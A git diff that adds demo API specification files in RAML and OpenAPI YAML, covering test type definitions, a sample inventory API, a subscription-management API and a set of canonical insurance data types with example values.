b/demo/apis/APIC-631/APIC-631.raml new file mode 100644 index 0000000..7c9a8a2 --- /dev/null +++ b/demo/apis/APIC-631/APIC-631.raml @@ -0,0 +1,20 @@ +#%RAML 1.0 +title: APIC-631 + + +types: + test1: + properties: + names1: string[] | nil + test2: + type: string[] | nil + test3: + type: string[] + test4: + properties: + names1: string[] + test5: + type: string[] + test8: + properties: + names8: number[] \ No newline at end of file diff --git a/demo/apis/APIC-649/APIC-649.yaml b/demo/apis/APIC-649/APIC-649.yaml new file mode 100644 index 0000000..6c14365 --- /dev/null +++ b/demo/apis/APIC-649/APIC-649.yaml @@ -0,0 +1,118 @@ +openapi: "3.0.0" + +info: + description: This is a simple API + version: "1.0.0" + title: Simple Inventory API + contact: + email: you@your-company.com + license: + name: Apache 2.0 + url: 'http://www.apache.org/licenses/LICENSE-2.0.html' +tags: + - name: admins + description: Secured Admin-only calls + - name: developers + description: Operations available to regular developers +paths: + /inventory: + get: + tags: + - developers + summary: searches inventory + operationId: searchInventory + description: | + By passing in the appropriate options, you can search for + available inventory in the system + parameters: + - in: query + name: searchString + description: pass an optional search string for looking up inventory + required: false + schema: + type: string + - in: query + name: skip + description: number of records to skip for pagination + schema: + type: integer + format: int32 + minimum: 0 + - in: query + name: limit + description: maximum number of records to return + schema: + type: integer + format: int32 + minimum: 0 + maximum: 50 + responses: + '200': + description: search results matching criteria + content: + application/json: + schema: + type: array + items: + $ref: '#/components/schemas/InventoryItem' + '400': + description: bad input parameter + post: + tags: + - admins + summary: adds an inventory item + operationId: addInventory + description: Adds an item to the system + responses: + '201': + description: item created + '400': + description: 'invalid input, object invalid' + '409': + description: an existing item already exists + requestBody: + content: + application/json: + schema: + $ref: '#/components/schemas/InventoryItem' + description: Inventory item to add +components: + schemas: + InventoryItem: + type: object + required: + - id + - name + - manufacturer + - releaseDate + properties: + id: + type: string + format: uuid + example: d290f1ee-6c54-4b01-90e6-d701748f0851 + name: + type: string + example: Widget Adapter + releaseDate: + type: string + format: date-time + example: '2016-08-29T09:12:33.001Z' + manufacturer: + $ref: '#/components/schemas/Manufacturer' + Manufacturer: + required: + - name + properties: + name: + type: string + example: ACME Corporation + deprecated: true + homePage: + type: string + format: url + example: 'https://www.acme-corp.com' + phone: + type: string + example: 408-867-5309 + deprecated: true + type: object \ No newline at end of file diff --git a/demo/apis/APIC-667/APIC-667.raml b/demo/apis/APIC-667/APIC-667.raml new file mode 100644 index 0000000..a4abcc3 --- /dev/null +++ b/demo/apis/APIC-667/APIC-667.raml @@ -0,0 +1,30 @@ +#%RAML 1.0 +title: RamlLibraryTypeShowsMediaType + +version: v1 +mediaType: [ application/json, application/xml ] + +types: + aNumberType: + description: a description + type: number + +/{uriparam}: + description: Example for 00293053 + uriParameters: + uriparam: + type: aNumberType + example: 123 + required: true + get: + description: a method Description + queryParameters: + qp: + type: string + description: a query param Description + example: atextexample + required: false + responses: + 200: + body: + application/json: diff --git a/demo/apis/APIC-671/APIC-671.yaml b/demo/apis/APIC-671/APIC-671.yaml new file mode 100644 index 0000000..878da2c --- /dev/null +++ b/demo/apis/APIC-671/APIC-671.yaml @@ -0,0 +1,387 @@ +openapi: 3.0.1 +info: + title: Subscriptions + description: "Manage a customer's subscription and retrieve their subscription history and information.\n + + Use the provided API to enroll an end-user into a subscription plan, manage their payment method and subscription lifecycle.\n + + **Onboarding**\n + + If you wish to enroll an end-user into an existing subscrtipion program, there is no additional onboarding needed; simply start using these APIs.\n + + If you wish to enroll an end-user into a new subscription program outside of Price Match (BPme US), Coffee Club (BPme UK) or Daily Coffee (ampm), please contact the subscritpion team. At the moment consumers are not able to self-service to create new subscription plans.\n + + **Right to be forgotten & refunds**\n + + Administrative features are currently only accessible by the subscription team. For requests such as to carry out a user's right to be forgotten or issuing refunds, please contact the subscription team.\n + + + **Payment method & integration with the user's stored wallet**\n + + The subscritpion service _is not integrated_ with bp wallet at this time. Consumers will need to integrate directly with Braintree to capture the card used for the subscription payments.\n + + _Note: Consumers web interfaces may need to be PCI compliant_ \n + + **Interacting with API**\n + + _User_\n + + For retrieving information about a user's subscribscriptions - both current and past.\n + + _Subscriptions_\n + + For enrolling a user in a subsription plan, canceling an existing subscrption, or retrieve a user's payment method information and update a user's payment method.\n + + + **Contact information**\n + + Product owner: Eric Doornbos (eric.doornbos@bp.com)\n + + Architect: Protik Majumdar (protik.majumdar@bp.com)\n + + For developer support, reach the team via our slack channel: [#global-subscriptions-devs](https://bp-dcm-b2c.slack.com/archives/C01738X00PN)\n + + For feature requests or onboarding a new subscription program, please reach out to Eric.\n + + " + contact: + name: "the subscription team" + email: this-dl-does-not-exist@bp.com + version: 1.0.0 +externalDocs: + description: Find out more about subscriptions + url: https://bp-vsts.visualstudio.com/BPme/_wiki/wikis/BPme.wiki/31322/Global-Subscriptions +servers: +- url: http://localhost:8080 +- url: https://dev-subscriptions.bpglobal.com +- url: https://qa-subscriptions.bpglobal.com +security: + - UserJWT: [] +tags: +- name: user + description: Subscription information by user + externalDocs: + description: Find out more + url: http://swagger.io +- name: subscriptions + description: Enroll or manage subscription details +paths: + /user/subscriptions: + get: + tags: + - "user" + summary: "Get all subscription for the user" + description: "Returns the list of subscriptions, past and present, for that user. Only subscriptions under the provided loyalty program will be returned." + parameters: + - name: "x-loyalty-program" + in: header + schema: + $ref: "#/components/schemas/LoyaltyProgram" + responses: + '200': + description: "Successfully retrieved the subscriber's past subscriptions" + content: + application/json: + schema: + type: array + items: + $ref: '#/components/schemas/Subscription' + '404': + description: "The user was never a subscriber and has no subscriptions" + content: {} + '400': + description: "The request contains invalid parameters. Please ensure that the loyalty program plan name is correct." + content: + application/json: + schema: + type: object + properties: + error: + type: string + description: The error description + example: "X-LOYALTY-PROGRAM: my-fake-program is not a valid program" + '401': + description: "The request is missing authorization details. Please check to see if the end user JWT is provided in the header." + content: {} + '403': + description: "The request has a malformed or expired end user JWT." + content: {} + /subscriptions: + post: + summary: "Enroll the user to a subscription plan" + description: "Note:\n + + Only credit and debit cards are valid payment methods for a subscription. Prepaid cards, Apple Pay and Google Wallet are not currently accepted.\n + + Payment methods are not integrated with BP Wallet; consumers must generate the nonce (one-time use tokens) through Braintree." + tags: + - subscriptions + parameters: + - name: "x-loyalty-program" + in: header + schema: + $ref: "#/components/schemas/LoyaltyProgram" + requestBody: + content: + application/json: + schema: + type: object + properties: + selectedPlan: + type: string + description: The plan to enroll in. For UK Coffee Club subscriptions, please use 'HotDrinks' + enum: + - PriceMatch + - CoffeeSubscription + - HotDrinks + nonce: + type: string + description: The one time use token issued by Braintree for the payment method. + example: "fake-valid-nonce" + responses: + '201': + description: "Subscriber successfully enrolled" + '400': + description: "The requests is invalid due to missing or incorrect inputs." + content: + application/json: + schema: + type: object + properties: + error: + type: string + description: The error description + examples: + Bad loyalty program: + value: { error: "X-LOYALTY-PROGRAM: my-unicorn-program is not a valid program" } + Bad subscription plan: + value: { error: "Selected Plan: my-unicorn-plan is not a valid plan" } + '403': + description: "Attempted to complete an action that is not allowed.\n + + Please check to see if the the supplied end-user JWT is valid, or if the the enrolled subscription plan is under the specified loyalty program." + content: + application/json: + schema: + type: object + properties: + error: + type: string + description: The error description + examples: + Invalid JWT: + value: {} + Mismatch between selected plan and loyalty program: + value: { error: "Selected Plan: CoffeeSubscription is not part of the users loyalty program" } + User already enrolled to another program: + value: { error: "User already has an active subscription in the specified loyalty program" } + '409': + description: "There was a conflict enrolling the user; the user is already enrolled to the selected plan" + content: + application/json: + schema: + type: object + properties: + error: + type: string + description: The error description + example: "User is already enrolled in the requested subscription" + /subscriptions/{subscriptionId}/payment: + parameters: + - name: subscriptionId + in: path + description: Subscription id to retrieve payment information fo + required: true + schema: + type: string + format: uuid + - name: "x-loyalty-program" + in: header + schema: + $ref: "#/components/schemas/LoyaltyProgram" + get: + summary: "Retrieve the payment details for a subscription" + description: "Returns the card information for the subscription." + tags: + - subscriptions + responses: + '200': + description: "Successfully retrieved the payment detail" + content: + application/json: + schema: + type: object + properties: + cardType: + type: string + description: "The credit card type" + example: Visa + expirationDate: + type: string + example: 07/21 + description: "The expiration date of the credit card" + lastFourDigits: + type: string + example: "1134" + description: "The last 4 digits on the credit card" + '404': + description: "The subscription cannot be found" + '401': + description: "The request is missing the authorization key" + content: {} + '403': + description: "The request has a malformed or expired authorization key" + content: {} + '500': + description: "An unknown exception has occured; consumer should contact the subscription team to resolve this." + put: + summary: "Update the card to use subscription recurring charges." + description: "New payment method will be effective immediately. \n + + If a user's account is past due, it will be charged immediately. Otherwise, the card will be charged on the next billing date. Only the payment methods types allowed during enrollment is allowed when updating payment methods." + tags: + - subscriptions + requestBody: + content: + application/json: + schema: + type: object + properties: + nonce: + type: string + description: The one time use token issued by Braintree for the new payment method + examples: + With a valid token: + value: + nonce: "fake-valid-nonce" + With a bad token: + value: + nonce: "fake-processor-declined-visa-nonce" + responses: + '200': + description: "Successfully updated payment method for subcription" + content: {} + '400': + description: "The supplied nonce for the payment method is invalid" + content: + application/json: + schema: + type: object + properties: + errors: + description: "List of error descriptions" + type: array + items: + type: string + example: "Payment method failed to be verified." + '404': + description: "The subscription cannot be found" + '401': + description: "The request is missing the authorization key" + content: {} + '403': + description: "The request has a malformed or expired authorization key" + content: {} + '500': + description: "An unknown exception has occured; consumer should contact the subscription team to resolve this." +components: + schemas: + Subscription: + type: object + properties: + cardNumber: + type: string + example: "1123" + description: The last 4 digits of credit card used for the recurring payment + expirationDate: + type: string + example: "07/2021" + description: The expiration month and year of the card used for the curring payment + renewalDate: + type: string + format: date + description: The next date for which the subscription will be renewed/charged its monthly fee. + billingPeriodStartDate: + type: string + format: date | "Invalid date" + example: "2021-05-08" + description: The charge date in the current subscription billing cycle. If the subscription has never been charged (i.e. within its trial period), then the value will be "Invalid date". + planName: + type: string + description: The name of the subscription plan + enum: + - Price Match + - Coffee + - Hot Drinks + planPrice: + type: string + format: money + description: The fee charged on the recurring schedule + example: "0.99" + createdAt: + type: string + format: date-time + example: "2021-05-08T20:29:03.919Z" + subscriptionId: + type: string + format: uuid + description: The id for the subscription + state: + oneOf: + - type: object + description: "An active subscription" + properties: + status: + type: "string" + example: "active" + - type: object + description: "A past due subscription. The subscription failed to be renewed but is still within the 3 day grace period (inclusive of the renewal date) where there will be daily attempts to charge for the subscription fee." + properties: + status: + type: "string" + example: "pastdue" + - type: object + description: "A canceled subscription. The subscription has gone past the last paid through date." + properties: + status: + type: "string" + example: "canceled" + cancellationReason: + description: "MEMBER_INITIATED: if the member initiated the cancellation voluntarily. PAYMENT_FAILURE: if all attempts at charging the subscription for renewal failed and the subscription is automatically canceled as a result." + type: string + enum: + - "MEMBER_INITIATED" + - "PAYMENT_FAILURE" + endDate: + type: string + format: date + description: "The last date for which the subscription has been paid through." + example: "2021-08-01" + - type: object + description: "A subscription that has been canceled, but still within its paid through period. Only subscriptions canceled by the subscriber voluntarily will be in residual states." + properties: + status: + type: "string" + example: "residual" + cancellationReason: + type: string + enum: + - "MEMBER_INITIATED" + endDate: + type: string + format: date + description: "The last date for which the subscription has been paid through; the member will continue to receive the paid for services until, and including, this date." + example: "2021-08-01" + LoyaltyProgram: + description: "The loyalty program the subscription is under" + type: string + enum: + - bpme-us + - bpme-uk + - ampm + securitySchemes: + UserJWT: + description: "The end user JWT issued by Salesforce for the user session." + type: apiKey + in: header + name: x-user-authorization \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-address.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-address.raml new file mode 100644 index 0000000..2c63f0e --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-address.raml @@ -0,0 +1,126 @@ +#%RAML 1.0 DataType + +uses: + lib: ../libraries/library-context-and-preference.raml + base-lib: ../libraries/library-base.raml + +displayName: Address +description: Used to express the values of a US address, but can also be used for non-US addresses + +type: [lib.preferable, lib.contextual, base-lib.base] +additionalProperties: false + +properties: + line1: + displayName: Address Line 1 + required: false + type: string + minLength: 0 + maxLength: 64 + description: The street name part of the address + example: 156 Trentini Ave + line2: + displayName: Address Line 2 + required: false + type: string + minLength: 0 + maxLength: 64 + description: The additional street name part of the address + example: Suite 101 + line3: + displayName: Address Line 3 + required: false + type: string + minLength: 0 + maxLength: 64 + description: For Attn to a specific person in an organization + example: "Attn: John Doe" + line4: + displayName: Address Line 4 + required: false + type: string + minLength: 0 + maxLength: 64 + description: Any additional information that does not fit the above three lines can be inserted here + city: + displayName: City + required: false + type: string + description: The city name part of the address + example: Atlanta + county: + displayName: County + required: false + type: string + description: Rarely used county name within a US state + example: Fulton + state-region-code: + displayName: State or Region Code + description: In countries such as the USA which has states, this field holds the code of the state. Otherwise, it holds the code of a region or province + required: false + type: string + examples: + state-example: GA + region-example: MBR + state-region-name: + displayName: State or Region Name + description: In countries such as the USA which has states, this field holds the full name of the state. Otherwise, it holds the full name of a region or province + required: false + type: string + examples: + state-example: Georgia + region-example: Marmara Bolgesi + country: + displayName: Country + description: The name of the country. It can be abbreviated or full. + required: false + type: string + example: U.S.A. + postal-code: + displayName: Primary Postal Code + required: false + type: string + description: Most country addresses use a primary postal code. In the U.S. the primary postal code is the first 5 digits of the zip code. + example: "12345" + additional-postal-code: + displayName: Additional Postal Code + required: false + type: string + description: In some countries which use a primary postal may also include an additional postal code. In the U.S. the additional postal code is the last 4 digits of the 9 digit full postal code. Most people only know their primary postal code. However, post offices can use these additional postal codes to increase efficiencies and reduce costs. + example: "1234" + validity: + displayName: Address Validity + required: false + enum: + - Unknown + - Valid + - Invalid + description: | + An address can be validated against a service to confirm its existence and its format. This field shows either the address has been validated or not, and if validated what the result is. + Unknown: We do not know if the address has been validated or not + Valid: The address has been validated and the result came back as a valid address + Invalid: The validation process returned a negative result and the address is NOT valid, meaning it either does not exist or is not formatted correctly and it should not be used until fixed. +examples: + us-address-example: + context: home + line1: 3388 Hamilton St + line2: Apt 1 + city: Philadelphia + state-region-code: PA + state-region-name: Pennsylvania + country: USA + postal-code: "19104" + additional-postal-code: "0388" + validity: Valid + preference-index: 3 + canada-address-example: + context: office + line1: 2701 Riverside Dr + line2: Suite No813 + city: Ottowa + state-region-code: ON + country: Canada + postal-code: "K1A 0B1" + additional-postal-code: "0388" + validity: Valid + preference-index: 3 \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-base.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-base.raml new file mode 100644 index 0000000..2c04171 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-base.raml @@ -0,0 +1,31 @@ +#%RAML 1.0 DataType + +uses: + prop-lib: ../libraries/library-property.raml + +displayName: Base DataType +description: Base data type is used as the super type of most business data types. Base has properties that all business entities commonly have. + +type: object +additionalProperties: false + +properties: + additional-properties: + displayName: Additional Properties + description: When a data type is defined for various reasons it may be missing some properties. This array of property objects keeps track of the missed properties + required: false + type: prop-lib.properties + +example: + additional-properties: + - order: 1 + name: forgotten-property + value: value + type: string + - name: forgotten-number-array + is-array: true + delimiter: "," + value: 1,3,4,5,6 + type: integer + + diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-basic-questions-set.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-basic-questions-set.raml new file mode 100644 index 0000000..cb7fa37 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-basic-questions-set.raml @@ -0,0 +1,42 @@ +#%RAML 1.0 DataType + +displayName: Basic Question Set +description: Basic question set contains 6 questions (what, when, where, who, why and how) that are asked for any event to gather information about the event. + +properties: + what: + displayName: What + description: answers what has happened + required: false + type: string + example: Created + when: + displayName: When + description: answers when it has happened. Always in Zulu(GMT) time in ISO 8601 format yyyy-MM-ddThh:mm:ss.sssZ + required: false + type: datetime + example: 2018-09-12T15:10:19.123Z + where: + displayName: Where + description: answers where it has happened. Usually location or locations + required: false + type: string + example: \\pcnsdnca02a\folder1 + who: + displayName: Who + description: answers who has done it. Usually name or names + required: false + type: string + example: AFLHQ\e99999 + why: + displayName: Why + description: answers why it has been done. Usually reason or reasons + required: false + type: string + example: new file + how: + displayName: How + description: answers how it has been done. Usually mean or means + required: false + type: string + example: Microsoft Word diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-code-description.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-code-description.raml new file mode 100644 index 0000000..1b3578b --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-code-description.raml @@ -0,0 +1,36 @@ +#%RAML 1.0 DataType + +displayName: Code Description +description: Used to explain the meaning of a code, with short and long descriptions + +type: object +additionalProperties: true + +properties: + context: + required: false + type: string + displayName: Context + description: a name that represents to whom the code belongs such as the name of a system or software component or under which context it has been created such as an error condition. Use kebab-case for multi words. + example: experienceAPI-for-datacap-claim-app + code: + required: false + type: string + displayName: Code + description: a code that represent a specific condition + short-description: + required: false + type: string + displayName: Short Description + description: a short description of the code + long-description: + required: false + type: string + displayName: Long Description + description: a long description of the code which may include instruction what actions to take under certain conditions. + +example: + context: error + code: 3001A + short-description: Connection Timeout + long-description: The allowed time to acquire a database connection has elapsed. Contact database administrator for TRX_DB on server SCSSOASQL01. \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-code-origin.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-code-origin.raml new file mode 100644 index 0000000..4d33632 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-code-origin.raml @@ -0,0 +1,24 @@ +#%RAML 1.0 DataType + +displayName: Origination Point +description: Information regarding the run-time and design-time location of the code. When an event occurs in the code, an error or log entry can use this data type to communicate the exact location of the event in the code and the execution environment. + +type: object + +properties: + node: + type: string + description: the specific instance name of a container, server, machine etc + required: false + component: + type: string + description: the name of the software component, api, service, program, class etc. + required: false + method: + type: string + description: the section name of the code in the software component, method, operation, function, subroutine, etc. + required: false + line: + type: string + description: the line number of the code in that code unit. + required: false diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-contact-information.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-contact-information.raml new file mode 100644 index 0000000..f082ce5 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-contact-information.raml @@ -0,0 +1,69 @@ +#%RAML 1.0 DataType + +uses: + language-lib: ../libraries/library-language.raml + address-lib: ../libraries/library-address.raml + phone-lib: ../libraries/library-phone.raml + email-lib: ../libraries/library-email.raml + social-media-lib: ../libraries/library-social-media.raml + +displayName: Contact Information + +type: object +additionalProperties: false + +properties: + languages: + displayName: List of Languages + description: The preferred language has the highest preference-index number + required: false + type: language-lib.languages + addresses: + displayName: List of Addresses + required: false + type: address-lib.addresses + phones: + displayName: List of Phones + required: false + type: phone-lib.phones + emails: + displayName: List of Emails + required: false + type: email-lib.email-addresses + social-media-accounts: + displayName: List of Social Media Accounts + required: false + type: social-media-lib.social-media-accounts + +example: + languages: + - name: English + code: en + preference-index: 1 + - name: Spanish + code: es + preference-index: 0 + addresses: + - context: home + line1: 3388 Hamilton St + line2: Apt 1 + city: Philadelphia + state-region-code: PA + country: USA + postal-code: "19104" + additional-postal-code: "6388" + - context: work + line1: 101 Walnut St + line2: Suite 2300 + city: Philadelphia + state-region-code: PA + country: USA + postal-code: "19104" + phones: + - context: home + area-code: "212" + phone-number: 255-5584 + - context: work + area-code: "212" + phone-number: 257-8400 + ext: "1378" \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-content-data.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-content-data.raml new file mode 100644 index 0000000..ac7cccf --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-content-data.raml @@ -0,0 +1,19 @@ +#%RAML 1.0 DataType + +displayName: Content Data +description: This represents the data part of the content in a printable, non-binary form. For example, a pdf document can be represented as a binary stream and can be passed around in MIME type application/octet-stream or application/pdf. That octet stream can also be Base64 encoded and a resulting printable array of characters can be used to represent the same pdf document. This type is used only for representations that can be printed as an array of characters. In cases where the content has to be passed as binary application/octet-stream should be used. + +type: object +additionalProperties: true + +properties: + data: + displayName: Base64 Encoded Content Data + description: Base64 encoding schemes are commonly used when there is a need to encode binary data that needs be stored and transferred over media that are designed to deal with textual data such as XML or JSON. This is to ensure that the data remains intact without modification during transport. + required: false + type: string + type: + displayName: Data Type + description: The data is an array of printable characters. The type indicates the original form. For example, if the data is Base64 encoded, and we Base64 decode the data, the resulting output may be a binary for application/pdf or application/msword. + required: false + diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-content-metadata.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-content-metadata.raml new file mode 100644 index 0000000..954a01d --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-content-metadata.raml @@ -0,0 +1,243 @@ +#%RAML 1.0 DataType + +uses: + basic-q-lib: ../libraries/library-basic-questions-set.raml + property-lib: ../libraries/library-property.raml + version-lib: ../libraries/library-version.raml + +displayName: Content Metadata +description: Data about any content's data. This type is part of the content type. However, it can also be used independently as part of a multipart/* where one of the parts describes the metadata and the other parts may be octet stream. + +type: object +additionalProperties: true + +properties: + content-id: + displayName: Content ID + description: The unique ID that represents a content + required: false + type: string + correlated-content-ids: + displayName: Correlated content IDs + description: An array of content-ids that are related to this content and their relation type. Four types of relationships are recognized, namely, parent, child, sibling and associated. + required: false + type: property-lib.properties + examples: + parent-only-example: + value: + - type: parent + value: doc-1234567890 + parent-and-children-example: + value: + - type: parent + value: doc-1234567890 + - type: child + value: doc-1234567999 + - type: child + value: doc-1234560000 + parent-children-and-siblings-example: + value: + - type: parent + value: doc-1234567890 + - type: child + value: doc-1234567999 + - type: child + value: doc-1234560000 + - type: sibling + value: doc-1234561111 + content-type: + displayName: Content Type + description: What type of content is being represented. Content can be document, image, video, audio, table such as spreadsheets, drawings such as diagrams, or sites that contain content at a referenceable location. + required: false + enum: + - document + - image + - video + - audio + - table + - drawing + - site + content-mime-type: + displayName: Content MIME Type + description: The MIME type of the content, such as application/pdf, image/png, application/msword/ application/epub+zip, application/octet-stream, etc. + required: false + location: + displayName: Location + description: | + Detailed information about the location of the content. A content can be a record in a database, a file in a file system, in a referencable site, or some other type of an entry that have not been defined at this point in time. + The ultimate goal of the location property is to "locate" where the content has been persisted. + The consumer originally would not know this information but would get this information from the provider as part of the metadata. + An array of name value pairs can generically define any location. + location-type: (database | file-system | reference) + database: name of the database + schema: name of the schema, owner, plan etc. + table: name of the table, view, etc. + os: name of the operating system + file-path: complete path in that operating system + file-name: the name of the file where the content has been persisted + reference-type: what type of reference is the content located at + reference-uri: the uri that shows the exact location of the content + required: false + type: property-lib.properties + example: + value: + - name: location-type + value: database + - name: database + value: GRC001DB + - name: table + value: RECORDS + + title: + displayName: Title + required: false + type: string + example: Business Architecture for IT Managers + subject: + displayName: Subject + required: false + type: string + example: Business Architecture Basics + author: + displayName: Original Author + required: false + type: string + manager: + displayName: Author's Manager + required: false + type: string + categories: + displayName: Categories + description: Content may belong to different categories. These categories may be used to persist the content in different locations so that their search can be executed more effectively. For example, contents that contain claim information may be persisted in a claim repository with other claim content, while content that contains application information may be persisted in a different repository. These line of business categorization may be used to organize content in more manageable ways. There may be other types of categorizations such as the freshness of the content. Some active content may be persisted in a location that can read and written very quickly. Some much older content that has been used but cannot be deleted can be archived. Even though the location is much harder to reach and much slower to read, the content is still available, yet in a different location. Since there is no way of knowing how many of these categorization keys are available, this property is an array of name value pairs + required: false + type: property-lib.properties + example: + value: + - name: line-of-business + value: Individual-Claim + - name: freshness + value: archived + keywords: + displayName: Keywords + description: Keywords are special informative words that can be tagged to content and later can be used for search and retrieval of that content. + required: false + type: string[] + example: ["Account","Invoice","Correction"] + comments: + displayName: Comments + required: false + type: basic-q-lib.basic-questions-sets + example: + - what: original version created + who: Jane Doe + when: 2018-08-31T15:42:16.000Z + - what: added Chapter 3 for recipies + who: Jane Doe + when: 2018-09-01T14:42:16.000Z + company: + displayName: Company that ownes the Content + required: false + type: string + example: Aflac + template-name: + displayName: Content Template + required: false + type: string + events: + displayName: Important milestone events of the content + description: Important events of a content are the creation, last update, check-in, check-out, print and others. + required: false + type: basic-q-lib.basic-questions-sets + example: + - what: created + who: Jane Doe + when: 2018-08-31T15:42:16.000Z + - what: checked-out + who: Jane Doe + when: 2018-09-01T14:42:16.000Z + - what: printed + who: Jane Doe + when: 2018-09-01T14:52:48.000Z + - what: updated + who: Jane Doe + when: 2018-09-01T15:00:10.000Z + - what: checked-in + who: Jane Doe + when: 2018-09-01T15:10:25.000Z + version: + displayName: Current Version + required: false + type: version-lib.version + size-in-bytes: + displayName: Content Size + description: The size of the content's data in bytes + required: false + type: number + custom-fields: + displayName: Custom Fields + required: false + type: property-lib.properties +examples: + read-example: + value: + content-id: ABCDEF01-2541-3526-AADD-1245789630ABCDEF + correlated-content-ids: + - type: parent + value: doc-1234567890 + - type: child + value: doc-1111 + - type: sibling + value: doc-2222 + content-type: document + content-mime-type: application/pdf + location: + - name: location-type + value: database + - name: database + value: GRC001DB + - name: table + value: RECORDS + title: Business Architecture for IT Managers + subject: Business Architecture Basics + author: Dr. John D. Litmus + manager: Greg Peterson + categories: + - name: source + value: FileNet + - name: line-of-business + value: individual claim + - name: freshness + value: active + keywords: + - Account + - Invoice + - Correction + comments: + - what: original version created + who: Jane Doe + when: 2018-08-31T15:42:16.000Z + - what: added Chapter 3 for recipies + who: Jane Doe + when: 2018-09-01T14:42:16.000Z + company: Aflac + template-name: TMPL-PDF-11234432 + events: + - what: created + who: Jane Doe + when: 2018-08-31T15:42:16.000Z + - what: checked-out + who: Jane Doe + when: 2018-09-01T14:42:16.000Z + - what: printed + who: Jane Doe + when: 2018-09-01T14:52:48.000Z + - what: updated + who: Jane Doe + when: 2018-09-01T15:00:10.000Z + - what: checked-in + who: Jane Doe + when: 2018-09-01T15:10:25.000Z + version: + full: 1.0.0 + size-in-bytes: 155478445 + \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-content.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-content.raml new file mode 100644 index 0000000..09e61ff --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-content.raml @@ -0,0 +1,47 @@ +#%RAML 1.0 DataType + +uses: + content-lib: ../libraries/library-content.raml + +displayName: Content +description: | + Content is digitized data that can only be consumed wholly. There are different types of content, such as document, image, audio, video, table, drawing, etc. + Content has two parts + 1) Data, that is the actual content + 2) Metadata, that is data about the data. + This type is a container of the data and metadata types, so that they can be moved together if needed. + This type is used when the content is being passed as an XML or JSON object. If the data is being passed using a multipart/* MIME type then only the metadata part can be used. + +type: object +additionalProperties: true + +properties: + content-id: + displayName: Content ID + description: A unique ID that represents the content. The same value exists in the metadata section. It is duplicated here for convenience. + required: false + + content-type: + displayName: Content Type + description: The type of the content. The same value exists in the metadata section. It is duplicated here for convenience. + required: false + enum: + - document + - image + - video + - audio + - table + - drawing + - site + + data: + displayName: Data + description: Data + required: false + type: content-lib.content-data + + metadata: + displayName: Metadata + description: Metadata + required: false + type: content-lib.content-metadata diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-contextual.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-contextual.raml new file mode 100644 index 0000000..ea115b2 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-contextual.raml @@ -0,0 +1,18 @@ +#%RAML 1.0 DataType + +displayName: Contextual +description: This is a type that is best used for inheritance to give a context to any inheriting object. + +type: object +additionalProperties: false + +properties: + context: + displayName: Context + required: false + type: string + description: a name that represents the context an object is in. For example, the context of an email can be 'personal', or 'work', the context of a phone number can be 'office', 'cell', or 'home'. + +examples: + json-example: + {"context": "work"} diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-currency.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-currency.raml new file mode 100644 index 0000000..35dc1da --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-currency.raml @@ -0,0 +1,22 @@ +#%RAML 1.0 DataType + +displayName: Currency + +type: object +additionalProperties: false + +properties: + code: + description: | + The currency abbreviation as listed in https://www.easymarkets.com/int/learn-centre/discover-trading/currency-acronyms-and-abbreviations/ + Not an enum. + required: false + type: string + amount: + required: false + type: number + minimum: 0.0 + +example: + code: USD + amount: 123.45 \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-document-statistic.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-document-statistic.raml new file mode 100644 index 0000000..e6c9b9a --- /dev/null +++ 